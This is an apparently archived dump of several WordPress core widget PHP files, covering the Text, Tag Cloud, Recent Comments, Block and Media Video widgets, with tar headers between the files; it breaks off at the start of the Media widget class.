			<input id="<?php echo $this->get_field_id( 'filter' ); ?>" name="<?php echo $this->get_field_name( 'filter' ); ?>" class="filter sync-input" type="hidden" value="on">
			<input id="<?php echo $this->get_field_id( 'visual' ); ?>" name="<?php echo $this->get_field_name( 'visual' ); ?>" class="visual sync-input" type="hidden" value="on">
		<?php else : ?>
			<input id="<?php echo $this->get_field_id( 'visual' ); ?>" name="<?php echo $this->get_field_name( 'visual' ); ?>" class="visual" type="hidden" value="">
			<p>
				<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
				<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
			</p>
			<div class="notice inline notice-info notice-alt">
				<?php if ( ! isset( $instance['visual'] ) ) : ?>
					<p><?php _e( 'This widget may contain code that may work better in the &#8220;Custom HTML&#8221; widget. How about trying that widget instead?' ); ?></p>
				<?php else : ?>
					<p><?php _e( 'This widget may have contained code that may work better in the &#8220;Custom HTML&#8221; widget. If you haven&#8217;t yet, how about trying that widget instead?' ); ?></p>
				<?php endif; ?>
			</div>
			<p>
				<label for="<?php echo $this->get_field_id( 'text' ); ?>"><?php _e( 'Content:' ); ?></label>
				<textarea class="widefat" rows="16" cols="20" id="<?php echo $this->get_field_id( 'text' ); ?>" name="<?php echo $this->get_field_name( 'text' ); ?>"><?php echo esc_textarea( $instance['text'] ); ?></textarea>
			</p>
			<p>
				<input id="<?php echo $this->get_field_id( 'filter' ); ?>" name="<?php echo $this->get_field_name( 'filter' ); ?>" type="checkbox"<?php checked( ! empty( $instance['filter'] ) ); ?> />&nbsp;<label for="<?php echo $this->get_field_id( 'filter' ); ?>"><?php _e( 'Automatically add paragraphs' ); ?></label>
			</p>
			<?php
		endif;
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 * @since 4.9.0 The method is now static.
	 */
	public static function render_control_template_scripts() {
		$dismissed_pointers = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
		?>
		<script type="text/html" id="tmpl-widget-text-control-fields">
			<# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #>
			<p>
				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
			</p>

			<?php if ( ! in_array( 'text_widget_custom_html', $dismissed_pointers, true ) ) : ?>
				<div hidden class="wp-pointer custom-html-widget-pointer wp-pointer-top">
					<div class="wp-pointer-content">
						<h3><?php _e( 'New Custom HTML Widget' ); ?></h3>
						<?php if ( is_customize_preview() ) : ?>
							<p><?php _e( 'Did you know there is a &#8220;Custom HTML&#8221; widget now? You can find it by pressing the &#8220;<a class="add-widget" href="#">Add a Widget</a>&#8221; button and searching for &#8220;HTML&#8221;. Check it out to add some custom code to your site!' ); ?></p>
						<?php else : ?>
							<p><?php _e( 'Did you know there is a &#8220;Custom HTML&#8221; widget now? You can find it by scanning the list of available widgets on this screen. Check it out to add some custom code to your site!' ); ?></p>
						<?php endif; ?>
						<div class="wp-pointer-buttons">
							<a class="close" href="#"><?php _e( 'Dismiss' ); ?></a>
						</div>
					</div>
					<div class="wp-pointer-arrow">
						<div class="wp-pointer-arrow-inner"></div>
					</div>
				</div>
			<?php endif; ?>

			<?php if ( ! in_array( 'text_widget_paste_html', $dismissed_pointers, true ) ) : ?>
				<div hidden class="wp-pointer paste-html-pointer wp-pointer-top">
					<div class="wp-pointer-content">
						<h3><?php _e( 'Did you just paste HTML?' ); ?></h3>
						<p><?php _e( 'Hey there, looks like you just pasted HTML into the &#8220;Visual&#8221; tab of the Text widget. You may want to paste your code into the &#8220;Text&#8221; tab instead. Alternately, try out the new &#8220;Custom HTML&#8221; widget!' ); ?></p>
						<div class="wp-pointer-buttons">
							<a class="close" href="#"><?php _e( 'Dismiss' ); ?></a>
						</div>
					</div>
					<div class="wp-pointer-arrow">
						<div class="wp-pointer-arrow-inner"></div>
					</div>
				</div>
			<?php endif; ?>

			<p>
				<label for="{{ elementIdPrefix }}text" class="screen-reader-text"><?php esc_html_e( 'Content:' ); ?></label>
				<textarea id="{{ elementIdPrefix }}text" class="widefat text wp-editor-area" style="height: 200px" rows="16" cols="20"></textarea>
			</p>
		</script>
		<?php
	}
}
class-wp-widget-tag-cloud.php000064400000015160152333503070012150 0ustar00<?php
/**
 * Widget API: WP_Widget_Tag_Cloud class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Tag cloud widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Tag_Cloud extends WP_Widget {

	/**
	 * Sets up a new Tag Cloud widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'A cloud of your most used tags.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'tag_cloud', __( 'Tag Cloud' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Tag Cloud widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Tag Cloud widget instance.
	 */
	public function widget( $args, $instance ) {
		$current_taxonomy = $this->_get_current_taxonomy( $instance );

		if ( ! empty( $instance['title'] ) ) {
			$title = $instance['title'];
		} else {
			if ( 'post_tag' === $current_taxonomy ) {
				$title = __( 'Tags' );
			} else {
				$tax   = get_taxonomy( $current_taxonomy );
				$title = $tax->labels->name;
			}
		}

		$show_count = ! empty( $instance['count'] );

		$tag_cloud = wp_tag_cloud(
			/**
			 * Filters the taxonomy used in the Tag Cloud widget.
			 *
			 * @since 2.8.0
			 * @since 3.0.0 Added taxonomy drop-down.
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_tag_cloud()
			 *
			 * @param array $args     Args used for the tag cloud widget.
			 * @param array $instance Array of settings for the current widget.
			 */
			apply_filters(
				'widget_tag_cloud_args',
				array(
					'taxonomy'   => $current_taxonomy,
					'echo'       => false,
					'show_count' => $show_count,
				),
				$instance
			)
		);

		if ( empty( $tag_cloud ) ) {
			return;
		}

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			echo '<nav role="navigation" aria-label="' . esc_attr( $aria_label ) . '">';
		}

		echo '<div class="tagcloud">';

		echo $tag_cloud;

		echo "</div>\n";

		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Tag Cloud widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance             = array();
		$instance['title']    = sanitize_text_field( $new_instance['title'] );
		$instance['count']    = ! empty( $new_instance['count'] ) ? 1 : 0;
		$instance['taxonomy'] = stripslashes( $new_instance['taxonomy'] );
		return $instance;
	}

	/**
	 * Outputs the Tag Cloud widget settings form.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';
		$count = isset( $instance['count'] ) ? (bool) $instance['count'] : false;
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" />
		</p>
		<?php
		$taxonomies       = get_taxonomies( array( 'show_tagcloud' => true ), 'object' );
		$current_taxonomy = $this->_get_current_taxonomy( $instance );

		switch ( count( $taxonomies ) ) {

			// No tag cloud supporting taxonomies found, display error message.
			case 0:
				?>
				<input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="" />
				<p>
					<?php _e( 'The tag cloud will not be displayed since there are no taxonomies that support the tag cloud widget.' ); ?>
				</p>
				<?php
				break;

			// Just a single tag cloud supporting taxonomy found, no need to display a select.
			case 1:
				$keys     = array_keys( $taxonomies );
				$taxonomy = reset( $keys );
				?>
				<input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="<?php echo esc_attr( $taxonomy ); ?>" />
				<?php
				break;

			// More than one tag cloud supporting taxonomy found, display a select.
			default:
				?>
				<p>
					<label for="<?php echo $this->get_field_id( 'taxonomy' ); ?>"><?php _e( 'Taxonomy:' ); ?></label>
					<select class="widefat" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>">
					<?php foreach ( $taxonomies as $taxonomy => $tax ) : ?>
						<option value="<?php echo esc_attr( $taxonomy ); ?>" <?php selected( $taxonomy, $current_taxonomy ); ?>>
							<?php echo esc_html( $tax->labels->name ); ?>
						</option>
					<?php endforeach; ?>
					</select>
				</p>
				<?php
		}

		if ( count( $taxonomies ) > 0 ) {
			?>
			<p>
				<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>" <?php checked( $count, true ); ?> />
				<label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show tag counts' ); ?></label>
			</p>
			<?php
		}
	}

	/**
	 * Retrieves the taxonomy for the current Tag cloud widget instance.
	 *
	 * @since 4.4.0
	 *
	 * @param array $instance Current settings.
	 * @return string Name of the current taxonomy if set, otherwise 'post_tag'.
	 */
	public function _get_current_taxonomy( $instance ) {
		if ( ! empty( $instance['taxonomy'] ) && taxonomy_exists( $instance['taxonomy'] ) ) {
			return $instance['taxonomy'];
		}

		return 'post_tag';
	}
}
class-wp-widget-recent-comments.php000064400000015646152333503070013405 0ustar00<?php
/**
 * Widget API: WP_Widget_Recent_Comments class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Recent Comments widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Recent_Comments extends WP_Widget {

	/**
	 * Sets up a new Recent Comments widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_recent_comments',
			'description'                 => __( 'Your site&#8217;s most recent comments.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'recent-comments', __( 'Recent Comments' ), $widget_ops );
		$this->alt_option_name = 'widget_recent_comments';

		if ( is_active_widget( false, false, $this->id_base ) || is_customize_preview() ) {
			add_action( 'wp_head', array( $this, 'recent_comments_style' ) );
		}
	}

	/**
	 * Outputs the default styles for the Recent Comments widget.
	 *
	 * @since 2.8.0
	 */
	public function recent_comments_style() {
		/**
		 * Filters the Recent Comments default widget styles.
		 *
		 * @since 3.1.0
		 *
		 * @param bool   $active  Whether the widget is active. Default true.
		 * @param string $id_base The widget ID.
		 */
		if ( ! current_theme_supports( 'widgets' ) // Temp hack #14876.
			|| ! apply_filters( 'show_recent_comments_widget_style', true, $this->id_base ) ) {
			return;
		}

		$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';

		printf(
			'<style%s>.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>',
			$type_attr
		);
	}

	/**
	 * Outputs the content for the current Recent Comments widget instance.
	 *
	 * @since 2.8.0
	 * @since 5.4.0 Creates a unique HTML ID for the `<ul>` element
	 *              if more than one instance is displayed on the page.
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Recent Comments widget instance.
	 */
	public function widget( $args, $instance ) {
		static $first_instance = true;

		if ( ! isset( $args['widget_id'] ) ) {
			$args['widget_id'] = $this->id;
		}

		$output = '';

		$default_title = __( 'Recent Comments' );
		$title         = ( ! empty( $instance['title'] ) ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5;
		if ( ! $number ) {
			$number = 5;
		}

		$comments = get_comments(
			/**
			 * Filters the arguments for the Recent Comments widget.
			 *
			 * @since 3.4.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see WP_Comment_Query::query() for information on accepted arguments.
			 *
			 * @param array $comment_args An array of arguments used to retrieve the recent comments.
			 * @param array $instance     Array of settings for the current widget.
			 */
			apply_filters(
				'widget_comments_args',
				array(
					'number'      => $number,
					'status'      => 'approve',
					'post_status' => 'publish',
				),
				$instance
			)
		);

		$output .= $args['before_widget'];
		if ( $title ) {
			$output .= $args['before_title'] . $title . $args['after_title'];
		}

		$recent_comments_id = ( $first_instance ) ? 'recentcomments' : "recentcomments-{$this->number}";
		$first_instance     = false;

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			$output    .= '<nav role="navigation" aria-label="' . esc_attr( $aria_label ) . '">';
		}

		$output .= '<ul id="' . esc_attr( $recent_comments_id ) . '">';
		if ( is_array( $comments ) && $comments ) {
			// Prime cache for associated posts. (Prime post term cache if we need it for permalinks.)
			$post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) );
			_prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false );

			foreach ( (array) $comments as $comment ) {
				$output .= '<li class="recentcomments">';
				$output .= sprintf(
					/* translators: Comments widget. 1: Comment author, 2: Post link. */
					_x( '%1$s on %2$s', 'widgets' ),
					'<span class="comment-author-link">' . get_comment_author_link( $comment ) . '</span>',
					'<a href="' . esc_url( get_comment_link( $comment ) ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a>'
				);
				$output .= '</li>';
			}
		}
		$output .= '</ul>';

		if ( 'html5' === $format ) {
			$output .= '</nav>';
		}

		$output .= $args['after_widget'];

		echo $output;
	}

	/**
	 * Handles updating settings for the current Recent Comments widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance           = $old_instance;
		$instance['title']  = sanitize_text_field( $new_instance['title'] );
		$instance['number'] = absint( $new_instance['number'] );
		return $instance;
	}

	/**
	 * Outputs the settings form for the Recent Comments widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$title  = isset( $instance['title'] ) ? $instance['title'] : '';
		$number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5;
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" />
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of comments to show:' ); ?></label>
			<input class="tiny-text" id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="number" step="1" min="1" value="<?php echo $number; ?>" size="3" />
		</p>
		<?php
	}

	/**
	 * Flushes the Recent Comments widget cache.
	 *
	 * @since 2.8.0
	 *
	 * @deprecated 4.4.0 Fragment caching was removed in favor of split queries.
	 */
	public function flush_widget_cache() {
		_deprecated_function( __METHOD__, '4.4.0' );
	}
}
class-wp-widget-block.php000064400000014477152333503070011375 0ustar00<?php
/**
 * Widget API: WP_Widget_Block class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 5.8.0
 */

/**
 * Core class used to implement a Block widget.
 *
 * @since 5.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Block extends WP_Widget {

	/**
	 * Default instance.
	 *
	 * @since 5.8.0
	 * @var array
	 */
	protected $default_instance = array(
		'content' => '',
	);

	/**
	 * Sets up a new Block widget instance.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$widget_ops  = array(
			'classname'                   => 'widget_block',
			'description'                 => __( 'A widget containing a block.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		$control_ops = array(
			'width'  => 400,
			'height' => 350,
		);
		parent::__construct( 'block', __( 'Block' ), $widget_ops, $control_ops );

		add_filter( 'is_wide_widget_in_customizer', array( $this, 'set_is_wide_widget_in_customizer' ), 10, 2 );
	}

	/**
	 * Outputs the content for the current Block widget instance.
	 *
	 * @since 5.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Block widget instance.
	 */
	public function widget( $args, $instance ) {
		$instance = wp_parse_args( $instance, $this->default_instance );

		echo str_replace(
			'widget_block',
			$this->get_dynamic_classname( $instance['content'] ),
			$args['before_widget']
		);

		/**
		 * Filters the content of the Block widget before output.
		 *
		 * @since 5.8.0
		 *
		 * @param string          $content  The widget content.
		 * @param array           $instance Array of settings for the current widget.
		 * @param WP_Widget_Block $widget   Current Block widget instance.
		 */
		echo apply_filters(
			'widget_block_content',
			$instance['content'],
			$instance,
			$this
		);

		echo $args['after_widget'];
	}

	/**
	 * Calculates the classname to use in the block widget's container HTML.
	 *
	 * Usually this is set to `$this->widget_options['classname']` by
	 * dynamic_sidebar(). In this case, however, we want to set the classname
	 * dynamically depending on the block contained by this block widget.
	 *
	 * If a block widget contains a block that has an equivalent legacy widget,
	 * we display that legacy widget's class name. This helps with theme
	 * backwards compatibility.
	 *
	 * @since 5.8.0
	 *
	 * @param string $content The HTML content of the current block widget.
	 * @return string The classname to use in the block widget's container HTML.
	 */
	private function get_dynamic_classname( $content ) {
		$blocks = parse_blocks( $content );

		$block_name = isset( $blocks[0] ) ? $blocks[0]['blockName'] : null;

		switch ( $block_name ) {
			case 'core/paragraph':
				$classname = 'widget_block widget_text';
				break;
			case 'core/calendar':
				$classname = 'widget_block widget_calendar';
				break;
			case 'core/search':
				$classname = 'widget_block widget_search';
				break;
			case 'core/html':
				$classname = 'widget_block widget_custom_html';
				break;
			case 'core/archives':
				$classname = 'widget_block widget_archive';
				break;
			case 'core/latest-posts':
				$classname = 'widget_block widget_recent_entries';
				break;
			case 'core/latest-comments':
				$classname = 'widget_block widget_recent_comments';
				break;
			case 'core/tag-cloud':
				$classname = 'widget_block widget_tag_cloud';
				break;
			case 'core/categories':
				$classname = 'widget_block widget_categories';
				break;
			case 'core/audio':
				$classname = 'widget_block widget_media_audio';
				break;
			case 'core/video':
				$classname = 'widget_block widget_media_video';
				break;
			case 'core/image':
				$classname = 'widget_block widget_media_image';
				break;
			case 'core/gallery':
				$classname = 'widget_block widget_media_gallery';
				break;
			case 'core/rss':
				$classname = 'widget_block widget_rss';
				break;
			default:
				$classname = 'widget_block';
		}

		/**
		 * The classname used in the block widget's container HTML.
		 *
		 * This can be set according to the name of the block contained by the block widget.
		 *
		 * @since 5.8.0
		 *
		 * @param string $classname  The classname to be used in the block widget's container HTML,
		 *                           e.g. 'widget_block widget_text'.
		 * @param string $block_name The name of the block contained by the block widget,
		 *                           e.g. 'core/paragraph'.
		 */
		return apply_filters( 'widget_block_dynamic_classname', $classname, $block_name );
	}

	/**
	 * Handles updating settings for the current Block widget instance.
	 *
	 * @since 5.8.0

	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance = array_merge( $this->default_instance, $old_instance );

		if ( current_user_can( 'unfiltered_html' ) ) {
			$instance['content'] = $new_instance['content'];
		} else {
			$instance['content'] = wp_kses_post( $new_instance['content'] );
		}

		return $instance;
	}

	/**
	 * Outputs the Block widget settings form.
	 *
	 * @since 5.8.0
	 *
	 * @see WP_Widget_Custom_HTML::render_control_template_scripts()
	 *
	 * @param array $instance Current instance.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, $this->default_instance );
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'content' ); ?>"><?php echo __( 'Block HTML:' ); ?></label>
			<textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" rows="6" cols="50" class="widefat code"><?php echo esc_textarea( $instance['content'] ); ?></textarea>
		</p>
		<?php
	}

	/**
	 * Makes sure no block widget is considered to be wide.
	 *
	 * @since 5.8.0
	 *
	 * @param bool   $is_wide   Whether the widget is considered wide.
	 * @param string $widget_id Widget ID.
	 * @return bool Updated `is_wide` value.
	 */
	public function set_is_wide_widget_in_customizer( $is_wide, $widget_id ) {
		if ( strpos( $widget_id, 'block-' ) === 0 ) {
			return false;
		}

		return $is_wide;
	}
}
class-wp-widget-media-video.php000064400000020327152333503070012455 0ustar00<?php
/**
 * Widget API: WP_Widget_Media_Video class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements a video widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Video extends WP_Widget_Media {

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 */
	public function __construct() {
		parent::__construct(
			'media_video',
			__( 'Video' ),
			array(
				'description' => __( 'Displays a video from the media library or from YouTube, Vimeo, or another provider.' ),
				'mime_type'   => 'video',
			)
		);

		$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected'          => __( 'No video selected' ),
				'add_media'                  => _x( 'Add Video', 'label for button in the video widget' ),
				'replace_media'              => _x( 'Replace Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ),
				'edit_media'                 => _x( 'Edit Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ),
				'missing_attachment'         => sprintf(
					/* translators: %s: URL to media library. */
					__( 'We can&#8217;t find that video. Check your <a href="%s">media library</a> and make sure it wasn&#8217;t deleted.' ),
					esc_url( admin_url( 'upload.php' ) )
				),
				/* translators: %d: Widget count. */
				'media_library_state_multi'  => _n_noop( 'Video Widget (%d)', 'Video Widget (%d)' ),
				'media_library_state_single' => __( 'Video Widget' ),
				/* translators: %s: A list of valid video file extensions. */
				'unsupported_file_type'      => sprintf( __( 'Sorry, we can&#8217;t load the video at the supplied URL. Please check that the URL is for a supported video file (%s) or stream (e.g. YouTube and Vimeo).' ), '<code>.' . implode( '</code>, <code>.', wp_get_video_extensions() ) . '</code>' ),
			)
		);
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {

		$schema = array(
			'preload' => array(
				'type'                  => 'string',
				'enum'                  => array( 'none', 'auto', 'metadata' ),
				'default'               => 'metadata',
				'description'           => __( 'Preload' ),
				'should_preview_update' => false,
			),
			'loop'    => array(
				'type'                  => 'boolean',
				'default'               => false,
				'description'           => __( 'Loop' ),
				'should_preview_update' => false,
			),
			'content' => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'wp_kses_post',
				'description'           => __( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ),
				'should_preview_update' => false,
			),
		);

		foreach ( wp_get_video_extensions() as $video_extension ) {
			$schema[ $video_extension ] = array(
				'type'        => 'string',
				'default'     => '',
				'format'      => 'uri',
				/* translators: %s: Video extension. */
				'description' => sprintf( __( 'URL to the %s video source file' ), $video_extension ),
			);
		}

		return array_merge( $schema, parent::get_instance_schema() );
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance   = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
		$attachment = null;

		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
			$attachment = get_post( $instance['attachment_id'] );
		}

		$src = $instance['url'];
		if ( $attachment ) {
			$src = wp_get_attachment_url( $attachment->ID );
		}

		if ( empty( $src ) ) {
			return;
		}

		$youtube_pattern = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#';
		$vimeo_pattern   = '#^https?://(.+\.)?vimeo\.com/.*#';

		if ( $attachment || preg_match( $youtube_pattern, $src ) || preg_match( $vimeo_pattern, $src ) ) {
			add_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) );

			echo wp_video_shortcode(
				array_merge(
					$instance,
					compact( 'src' )
				),
				$instance['content']
			);

			remove_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) );
		} else {
			echo $this->inject_video_max_width_style( wp_oembed_get( $src ) );
		}
	}

	/**
	 * Inject max-width and remove height for videos too constrained to fit inside sidebars on frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param string $html Video shortcode HTML output.
	 * @return string HTML Output.
	 */
	public function inject_video_max_width_style( $html ) {
		$html = preg_replace( '/\sheight="\d+"/', '', $html );
		$html = preg_replace( '/\swidth="\d+"/', '', $html );
		$html = preg_replace( '/(?<=width:)\s*\d+px(?=;?)/', '100%', $html );
		return $html;
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when a video shortcode is used.
	 * In the customizer, however, widgets can be dynamically added and rendered via
	 * selective refresh, and so it is important to unconditionally enqueue them in
	 * case a widget does get added.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_preview_scripts() {
		/** This filter is documented in wp-includes/media.php */
		if ( 'mediaelement' === apply_filters( 'wp_video_shortcode_library', 'mediaelement' ) ) {
			wp_enqueue_style( 'wp-mediaelement' );
			wp_enqueue_script( 'mediaelement-vimeo' );
			wp_enqueue_script( 'wp-mediaelement' );
		}
	}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

		$handle = 'media-video-widget';
		wp_enqueue_script( $handle );

		$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $exported_schema )
			)
		);

		wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $this->widget_options['mime_type'] ),
				wp_json_encode( $this->l10n )
			)
		);
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts()
		?>
		<script type="text/html" id="tmpl-wp-media-widget-video-preview">
			<# if ( data.error && 'missing_attachment' === data.error ) { #>
				<div class="notice notice-error notice-alt notice-missing-attachment">
					<p><?php echo $this->l10n['missing_attachment']; ?></p>
				</div>
			<# } else if ( data.error && 'unsupported_file_type' === data.error ) { #>
				<div class="notice notice-error notice-alt notice-missing-attachment">
					<p><?php echo $this->l10n['unsupported_file_type']; ?></p>
				</div>
			<# } else if ( data.error ) { #>
				<div class="notice notice-error notice-alt">
					<p><?php _e( 'Unable to preview media due to an unknown error.' ); ?></p>
				</div>
			<# } else if ( data.is_oembed && data.model.poster ) { #>
				<a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link">
					<img src="{{ data.model.poster }}" />
				</a>
			<# } else if ( data.is_oembed ) { #>
				<a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link no-poster">
					<span class="dashicons dashicons-format-video"></span>
				</a>
			<# } else if ( data.model.src ) { #>
				<?php wp_underscore_video_template(); ?>
			<# } #>
		</script>
		<?php
	}
}
class-wp-widget-media.php000064400000033430152333503070011350 0ustar00<?php
/**
 * Widget API: WP_Media_Widget class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements a media widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget
 */
